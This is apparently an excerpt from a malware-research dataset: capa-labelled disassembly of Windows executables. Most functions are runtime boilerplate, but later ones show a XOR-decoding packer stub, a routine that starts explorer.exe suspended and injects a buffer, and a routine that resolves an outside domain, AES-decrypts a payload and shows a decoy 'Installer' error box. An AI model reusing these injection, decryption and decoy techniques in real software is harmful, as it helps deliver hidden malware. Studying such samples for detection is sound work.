joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40dfa1
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x24
mov eax, 0x42a91b
call fcn.00417165
mov esi, ecx
mov dword [ebp - 0x20], esi
mov eax, dword [esi + 0x60]
mov dword [ebp - 0x1c], eax
mov eax, dword [esi + 0x5c]
mov dword [ebp - 0x18], eax
call fcn.0040ed99
mov edi, dword [eax + 0xc]
xor ebx, ebx
cmp dword [esi + 0x58], ebx
je 0x40dfec
call fcn.0040ed99
mov edi, dword [eax + 0xc]
push 5
push dword [esi + 0x58]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
je 0x40dffd
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jne 0x40e00a
or eax, 0xffffffff
jmp 0x40e166
mov ecx, esi
call fcn.0040dac6
mov dword [ebp - 0x14], eax
call fcn.0040a61a
and dword [ebp - 0x28], ebx
cmp dword [ebp - 0x14], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x24], ebx
je 0x40e088
call dword [sym.imp.USER32.dll_GetDesktopWindow]
cmp dword [ebp - 0x14], eax
je 0x40e088
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x40e088
push 0
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x2c], 1
call fcn.004070c2
mov ebx, eax
test ebx, ebx
mov dword [ebp - 0x24], ebx
je 0x40e088
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x120]
test eax, eax
je 0x40e088
mov ecx, ebx
call fcn.0040e348
test eax, eax
je 0x40e088
push 0
mov ecx, ebx
call fcn.0040e363
mov dword [ebp - 0x28], 1
and dword [ebp - 4], 0
push esi
call fcn.0040bf82
push dword [ebp - 0x14]
call fcn.0040a572
push edi
push eax
push dword [ebp - 0x1c]
mov ecx, esi
call fcn.0040dda9
xor edi, edi
cmp eax, edi
je 0x40e0e5
test byte [esi + 0x3c], 0x10
je 0x40e0cf
push 4
pop edi
mov ecx, esi
call fcn.0040e2f3
test ax, 0x100
je 0x40e0c5
push 5
pop edi
push edi
mov ecx, esi
call fcn.0040a108
xor edi, edi
cmp dword [esi + 0x20], edi
je 0x40e0e5
push 0x97
push edi
push edi
push edi
push edi
push edi
mov ecx, esi
call fcn.0040e3ca
or dword [ebp - 4], 0xffffffff
jmp 0x40e110
cmp dword [ebp - 0x28], edi
je 0x40e11e
push 1
mov ecx, ebx
call fcn.0040e363
cmp dword [ebp - 0x2c], edi
je 0x40e12e
push 1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp dword [ebp - 0x14], edi
je 0x40e147
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [esi + 0x20]
jne 0x40e147
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x60]
mov ecx, esi
call fcn.0040db00
cmp dword [esi + 0x58], edi
je 0x40e163
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [esi + 0x44]
call fcn.004171d1
ret
Function at 0x40e1d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
test ebx, 0xffff0000
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
jne 0x40e1f0
cmp dword [edi + 0x54], 0
jne 0x40e1f0
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.0040ed99
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [esp + 0x18]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.0040e197
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
ret 8

Function at 0x4109bd
Capabilities:
Read file on windows

Disassembly:
cmp dword [esp + 8], 0
push esi
mov esi, ecx
jne 0x4109c6
xor eax, eax
jmp 0x410a2f
cmp dword [esp + 8], 0
jne 0x4109d2
call fcn.00406a95
push edi
push dword [esi + 0x10]
push dword [esp + 0x14]
push 1
push dword [esp + 0x18]
call fcn.0041a02a
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x410a0d
push dword [esi + 0x10]
call fcn.00419d30
test eax, eax
pop ecx
jne 0x410a0d
mov esi, dword [esi + 0xc]
call fcn.004174ba
push esi
push dword [eax]
push 1
call fcn.0041513c
push dword [esi + 0x10]
call fcn.00419d5f
test eax, eax
pop ecx
je 0x410a2c
push dword [esi + 0x10]
call fcn.00419c84
push eax
call fcn.00405fe0
pop ecx
pop ecx
jmp 0x4109fb
mov eax, edi
pop edi
pop esi
ret 8

Function at 0x410a38
Capabilities:
Write file on windows

Disassembly:
cmp dword [esp + 4], 0
push esi
mov esi, ecx
jne 0x410a42
call fcn.00406a95
push dword [esi + 0x10]
push dword [esp + 0x10]
push 1
push dword [esp + 0x14]
call fcn.0041a1a4
add esp, 0x10
cmp eax, dword [esp + 0xc]
je 0x410a6f
mov esi, dword [esi + 0xc]
call fcn.004174ba
push esi
push dword [eax]
push 1
call fcn.0041513c
pop esi
ret 8

Function at 0x41579e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x437ae4]
jne 0x4157a8
repz ret
jmp fcn.0041b55f
Function at 0x419d8e
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ecx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
xor edi, edi
cmp dword [ebp + 0x10], edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], ebx
je 0x419dcb
cmp dword [ebp + 0x14], edi
je 0x419dcb
cmp ecx, edi
jne 0x419dd2
call fcn.004174a7
push edi
push edi
push edi
push edi
mov dword [eax], 0x16
push edi
call fcn.0041b769
add esp, 0x14
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov esi, dword [ebp + 0x18]
cmp esi, edi
je 0x419de6
or eax, 0xffffffff
xor edx, edx
div dword [ebp + 0x10]
cmp dword [ebp + 0x14], eax
jbe 0x419e07
cmp ebx, 0xffffffff
je 0x419df6
push ebx
push edi
push ecx
call fcn.004178b0
add esp, 0xc
cmp esi, edi
je 0x419db3
or eax, 0xffffffff
xor edx, edx
div dword [ebp + 0x10]
cmp dword [ebp + 0x14], eax
ja 0x419db3
mov edi, dword [ebp + 0x10]
imul edi, dword [ebp + 0x14]
test word [esi + 0xc], 0x10c
mov dword [ebp - 0x10], edi
mov ebx, edi
je 0x419e23
mov eax, dword [esi + 0x18]
mov dword [ebp - 0xc], eax
jmp 0x419e2a
mov dword [ebp - 0xc], 0x1000
test edi, edi
je 0x419f1b
test word [esi + 0xc], 0x10c
je 0x419e7e
mov eax, dword [esi + 4]
test eax, eax
je 0x419e7e
jl 0x419f7c
cmp ebx, eax
mov edi, ebx
jb 0x419e4f
mov edi, eax
cmp edi, dword [ebp - 4]
ja 0x419f23
push edi
push dword [esi]
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.0041584d
sub dword [esi + 4], edi
add dword [esi], edi
add dword [ebp - 8], edi
sub ebx, edi
add esp, 0x10
sub dword [ebp - 4], edi
mov edi, dword [ebp - 0x10]
jmp 0x419f13
cmp ebx, dword [ebp - 0xc]
jb 0x419eeb
cmp dword [ebp - 0xc], 0
je 0x419ea8
mov ecx, 0x7fffffff
xor edx, edx
cmp ebx, ecx
jbe 0x419e9d
mov eax, ecx
div dword [ebp - 0xc]
mov eax, ecx
jmp 0x419ea4
mov eax, ebx
div dword [ebp - 0xc]
mov eax, ebx
sub eax, edx
jmp 0x419eb3
mov eax, 0x7fffffff
cmp ebx, eax
ja 0x419eb3
mov eax, ebx
cmp eax, dword [ebp - 4]
ja 0x419f4f
push eax
push dword [ebp - 8]
push esi
call fcn.004199e3
pop ecx
push eax
call fcn.00422e65
add esp, 0xc
test eax, eax
je 0x419f8e
cmp eax, 0xffffffff
je 0x419f7c
add dword [ebp - 8], eax
sub ebx, eax
sub dword [ebp - 4], eax
jmp 0x419f13
push esi
call fcn.00422784
cmp eax, 0xffffffff
pop ecx
je 0x419f80
cmp dword [ebp - 4], 0
je 0x419f4f
mov ecx, dword [ebp - 8]
inc dword [ebp - 8]
mov byte [ecx], al
mov eax, dword [esi + 0x18]
dec ebx
dec dword [ebp - 4]
mov dword [ebp - 0xc], eax
test ebx, ebx
jne 0x419e32
mov eax, dword [ebp + 0x14]
jmp 0x419dcd
xor esi, esi
cmp dword [ebp + 0xc], 0xffffffff
je 0x419f3a
push dword [ebp + 0xc]
push esi
push dword [ebp + 8]
call fcn.004178b0
add esp, 0xc
call fcn.004174a7
push esi
push esi
push esi
push esi
mov dword [eax], 0x22
push esi
jmp 0x419dc3
cmp dword [ebp + 0xc], 0xffffffff
je 0x419f65
push dword [ebp + 0xc]
push 0
push dword [ebp + 8]
call fcn.004178b0
add esp, 0xc
call fcn.004174a7
mov dword [eax], 0x22
xor eax, eax
push eax
push eax
push eax
push eax
push eax
jmp 0x419dc3
or dword [esi + 0xc], 0x20
mov eax, edi
sub eax, ebx
xor edx, edx
div dword [ebp + 0x10]
jmp 0x419dcd
or dword [esi + 0xc], 0x10
jmp 0x419f80
Function at 0x41e869
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x4382c8]
je 0x41e884
inc edi
cmp edi, 0x17
jb 0x41e875
cmp edi, 0x17
jae 0x41ea04
push ebp
push 3
call fcn.00426302
cmp eax, 1
pop ecx
je 0x41e9d0
push 3
call fcn.00426302
test eax, eax
pop ecx
jne 0x41e8b8
cmp dword [0x437ae0], 1
je 0x41e9d0
cmp ebx, 0xfc
je 0x41ea03
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x43b348
push ebp
call fcn.00417807
add esp, 0xc
test eax, eax
je 0x41e8ee
push esi
push esi
push esi
push esi
push esi
call fcn.0041b66d
add esp, 0x14
push 0x104
mov esi, 0x43b361
push esi
push 0
mov byte [0x43b465], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x41e932
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.00417807
add esp, 0xc
test eax, eax
je 0x41e932
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.0041b66d
add esp, 0x14
push esi
call fcn.00416ce0
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x41e977
push esi
call fcn.00416ce0
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x43b65c
push 0x42ea94
sub ecx, eax
push ecx
push eax
call fcn.00417ba1
add esp, 0x14
test eax, eax
je 0x41e977
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.0041b66d
add esp, 0x14
jmp 0x41e979
xor esi, esi
push 0x42ea90
push ebx
push ebp
call fcn.004179b1
add esp, 0xc
test eax, eax
je 0x41e999
push esi
push esi
push esi
push esi
push esi
call fcn.0041b66d
add esp, 0x14
push dword [edi*8 + 0x4382cc]
push ebx
push ebp
call fcn.004179b1
add esp, 0xc
test eax, eax
je 0x41e9bb
push esi
push esi
push esi
push esi
push esi
call fcn.0041b66d
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.00426145
add esp, 0xc
jmp 0x41ea03
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x41ea03
cmp ebp, 0xffffffff
je 0x41ea03
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x4382cc]
push dword [esi]
call fcn.00416ce0
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x426145
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0041bccf
xor ebx, ebx
cmp dword [0x43ba0c], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x42621b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x4262fb
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x42fc3c
push edi
call esi
cmp eax, ebx
je 0x4262fb
push eax
call fcn.0041bc61
mov dword [esp], 0x42fc2c
push edi
mov dword [0x43ba0c], eax
call esi
push eax
call fcn.0041bc61
mov dword [esp], 0x42fc18
push edi
mov dword [0x43ba10], eax
call esi
push eax
call fcn.0041bc61
mov dword [0x43ba14], eax
lea eax, [ebp - 0xc]
push eax
call fcn.00417594
test eax, eax
pop ecx
pop ecx
je 0x4261e9
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0041b66d
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x42621b
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.0041bc61
cmp eax, ebx
pop ecx
mov dword [0x43ba1c], eax
je 0x42621b
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041bc61
pop ecx
mov dword [0x43ba18], eax
mov eax, dword [0x43ba18]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x4262a0
cmp dword [0x43ba1c], ecx
je 0x4262a0
push eax
call fcn.0041bcd8
push dword [0x43ba1c]
mov esi, eax
call fcn.0041bcd8
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x4262a0
cmp edi, ebx
je 0x4262a0
call esi
cmp eax, ebx
je 0x42626d
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x42626d
test byte [ebp - 0x18], 1
jne 0x4262a0
lea eax, [ebp - 0x10]
push eax
call fcn.004175cb
test eax, eax
pop ecx
je 0x426288
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0041b66d
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x426297
or dword [ebp + 0x10], 0x200000
jmp 0x4262db
or dword [ebp + 0x10], 0x40000
jmp 0x4262db
mov eax, dword [0x43ba10]
cmp eax, dword [ebp - 8]
je 0x4262db
push eax
call fcn.0041bcd8
cmp eax, ebx
pop ecx
je 0x4262db
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x4262db
mov eax, dword [0x43ba14]
cmp eax, dword [ebp - 8]
je 0x4262db
push eax
call fcn.0041bcd8
cmp eax, ebx
pop ecx
je 0x4262db
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x43ba0c]
call fcn.0041bcd8
cmp eax, ebx
pop ecx
je 0x4262fb
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4262fd
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x42a1d8
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x437ae4]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.0042a16d
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.004178b0
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x42a227
cmp dword [ebp - 0x1c], 5
jb 0x42a23f
jmp 0x42a23b
cmp dword [ebp - 0x10], 1
jne 0x42a23f
cmp dword [ebp - 0x1c], 4
ja 0x42a23b
jne 0x42a23f
cmp dword [ebp - 0x18], 0
jbe 0x42a23f
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x42fccc
call fcn.0042a05e
test eax, eax
jge 0x42a260
mov byte [0x43bba8], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0041579e
add ebp, 0x78
leave
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x42e072
nop
nop
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x56877f7c
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x42e060
nop
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
je 0x42e0d2
nop
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
mov esi, 0x3fdf3b1f
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x3012e1
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x301312
mov eax, dword fs:[4]
mov dword [ebp + 8], eax
mov eax, dword fs:[8]
mov dword [ebp - 4], eax
cmp ebx, dword [ebp - 4]
jb 0x301319
cmp ebx, dword [ebp + 8]
jae 0x301319
xor eax, eax
jmp 0x3014ff
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x30132a
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x30133c
cmp ecx, edx
jae 0x3013a0
cmp dword [eax + 4], 0
je 0x301345
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x301331
cmp dword [ebp + 8], 0
je 0x30135f
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x3013a0
cmp eax, esi
jae 0x3013a0
mov ecx, dword [0x1004020]
mov esi, ebx
and esi, 0xfffff000
xor eax, eax
test ecx, ecx
jle 0x301381
cmp dword [eax*4 + 0x1004028], esi
je 0x3013a7
inc eax
cmp eax, ecx
jl 0x301373
lea eax, [ebp + 8]
push eax
push 0x1c
lea eax, [ebp - 0x20]
push eax
push 0
push ebx
or edi, 0xffffffff
push edi
call 0x300ec2
test eax, eax
test eax, eax
jle 0x301322
xor edx, edx
mov ebx, 0x1004068
inc edx
mov edi, ebx
xchg dword [edi], edx
test edx, edx
jne 0x301322
cmp dword [eax*4 + 0x1004028], esi
je 0x3013f6
lea eax, [ecx - 1]
test eax, eax
jl 0x3013e3
cmp dword [eax*4 + 0x1004028], esi
je 0x3013df
dec eax
jns 0x3013d3
test eax, eax
jge 0x3013f4
cmp ecx, 0x10
jge 0x3013ef
inc ecx
mov dword [0x1004020], ecx
lea eax, [ecx - 1]
jmp 0x3013f6
je 0x30140e
xor edx, edx
test eax, eax
jl 0x30140e
lea ecx, [edx*4 + 0x1004028]
mov edi, dword [ecx]
inc edx
cmp edx, eax
mov dword [ecx], esi
mov esi, edi
jle 0x3013fc
xor eax, eax
xchg dword [ebx], eax
jmp 0x301322
Function at 0x301399
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
inc eax
jmp 0x3014fe
jl 0x301417
mov eax, dword [ebp + 8]
jmp 0x301419
xor eax, eax
jmp 0x3014fe
xor eax, eax
test eax, eax
je 0x3014fc
cmp dword [ebp - 8], 0x1000000
jne 0x3014fc
test byte [ebp - 0xc], 0xcc
je 0x30148e
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x3014fc
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x3014fc
cmp word [eax + 0x18], 0x10b
jne 0x3014fc
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x3014fc
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x30148e
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x30148e
test byte [ecx + 0x27], 0x80
jne 0x3013a0
xor eax, eax
inc eax
mov ecx, eax
mov edx, 0x1004068
xchg dword [edx], ecx
test ecx, ecx
jne 0x3014fe
mov ecx, dword [0x1004020]
test ecx, ecx
mov edx, ecx
jle 0x3014bd
lea eax, [ecx*4 + 0x1004024]
cmp dword [eax], esi
je 0x3014bd
dec edx
sub eax, 4
test edx, edx
jg 0x3014b1
test edx, edx
jne 0x3014ee
push 0xf
pop ebx
cmp ecx, ebx
jg 0x3014ca
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x3014e2
lea eax, [edx*4 + 0x1004028]
mov edi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], esi
mov esi, edi
jle 0x3014d0
cmp ecx, 0x10
jge 0x3014ee
inc ecx
mov dword [0x1004020], ecx
xor eax, eax
mov ecx, 0x1004068
xchg dword [ecx], eax
jmp 0x301322
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401000
Capabilities:
Create process on windows
Create process suspended
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x44
lea eax, [ebp - 0x194]
push 0
push eax
call fcn.00402770
xorps xmm0, xmm0
lea eax, [ebp - 0x194]
add esp, 0xc
mov ecx, 0x44
movups xmmword [ebp - 0x150], xmm0
nop dword [eax + eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x401040
mov ecx, 0x10
lea eax, [ebp - 0x150]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x401056
push esi
push edi
push 0x104
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x194], 0x44
push eax
push str.WINDIR
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x401222
mov ax, word [0x414d08]
movups xmm0, xmmword [str.c:windowsSysWow64explorer.exe]
mov word [ebp - 8], ax
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x194]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
movups xmmword [ebp - 0x28], xmm0
lea eax, [ebp - 0x28]
movups xmm0, xmmword [0x414cf8]
push eax
push 0
movups xmmword [ebp - 0x18], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401222
cmp dword [ebp - 0x148], 0
mov edi, dword [ebp - 0x150]
mov esi, dword [ebp - 0x14c]
je 0x401222
test edi, edi
je 0x401222
test esi, esi
je 0x401222
push 4
push 0x3000
lea eax, [ebp - 0x13c]
mov dword [ebp - 0x134], 0x210
push eax
push 0
lea eax, [ebp - 0x130]
mov dword [ebp - 0x130], 0
push eax
push edi
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x13c], 0x210
mov dword [ebp - 0x138], 0
call fcn.00401600
add esp, 0x18
test eax, eax
jne 0x401222
lea eax, [ebp - 0x138]
push eax
push dword [ebp - 0x134]
push 0x4178d0
push dword [ebp - 0x130]
push edi
call fcn.004016aa
add esp, 0x14
test eax, eax
jne 0x401222
mov eax, dword [ebp - 0x134]
cmp dword [ebp - 0x138], eax
jne 0x401222
push eax
push 0
push 0x4178d0
call fcn.00402770
lea eax, [ebp - 0x140]
push eax
push 0x40
lea eax, [ebp - 0x134]
push eax
lea eax, [ebp - 0x130]
push eax
push edi
call fcn.00401655
add esp, 0x20
test eax, eax
jne 0x401222
push eax
push eax
push eax
push dword [ebp - 0x130]
push esi
call fcn.004016ff
add esp, 0x14
test eax, eax
jne 0x401222
push eax
push esi
call fcn.004017a9
add esp, 8
test eax, eax
jne 0x401222
push 0x10
push 0x414d10
push 0x414d28
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
push 1
push esi
call fcn.004017fe
add esp, 0xc
neg eax
sbb eax, eax
inc eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401853
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.00401853
mov esp, ebp
pop ebp
ret
Function at 0x401240
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_FreeConsole]
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ecx + str.c11.]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x69], al
test al, al
jne 0x401260
lea ecx, [ebp - 0x68]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x401275
mov eax, dword [str.af8700000000007]
mov dword [ecx], eax
mov eax, dword [0x414dd0]
mov dword [ecx + 4], eax
mov eax, dword [0x414dd4]
mov dword [ecx + 8], eax
mov eax, dword [0x414dd8]
mov dword [ecx + 0xc], eax
lea ecx, [ebp - 0x68]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x4012a2
mov eax, dword [str..pic.design.reoart.ru]
mov dword [ecx], eax
mov eax, dword [0x414db8]
mov dword [ecx + 4], eax
mov eax, dword [0x414dbc]
mov dword [ecx + 8], eax
mov eax, dword [0x414dc0]
mov dword [ecx + 0xc], eax
mov eax, dword [0x414dc4]
mov dword [ecx + 0x10], eax
mov ax, word [0x414dc8]
push 0
mov word [ecx + 0x14], ax
lea eax, [ebp - 0x7c]
push eax
push 0
push pe_nt_image_headers32
push 1
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.DNSAPI.dll_DnsQuery_A]
push 0xf0000000
push 0x18
push 0
push 0
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x78], 0x210
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x40139e
lea eax, [ebp - 0x70]
push eax
push 0
push 0
push 0x800c
push dword [ebp - 0x6c]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x40139e
push 0
push 0x10
push 0x4178c0
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x40139e
lea eax, [ebp - 0x74]
push eax
push 0
push dword [ebp - 0x70]
push 0x6610
push dword [ebp - 0x6c]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x40139e
lea eax, [ebp - 0x78]
push eax
push 0x4178d0
push 0
push 0
push 0
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x40139e
push 0
push dword [ebp - 0x6c]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
call fcn.00401000
push 0x10
push str.Installer
push str.Try_again_later...
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
call fcn.00404808
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.00401853
mov esp, ebp
pop ebp
ret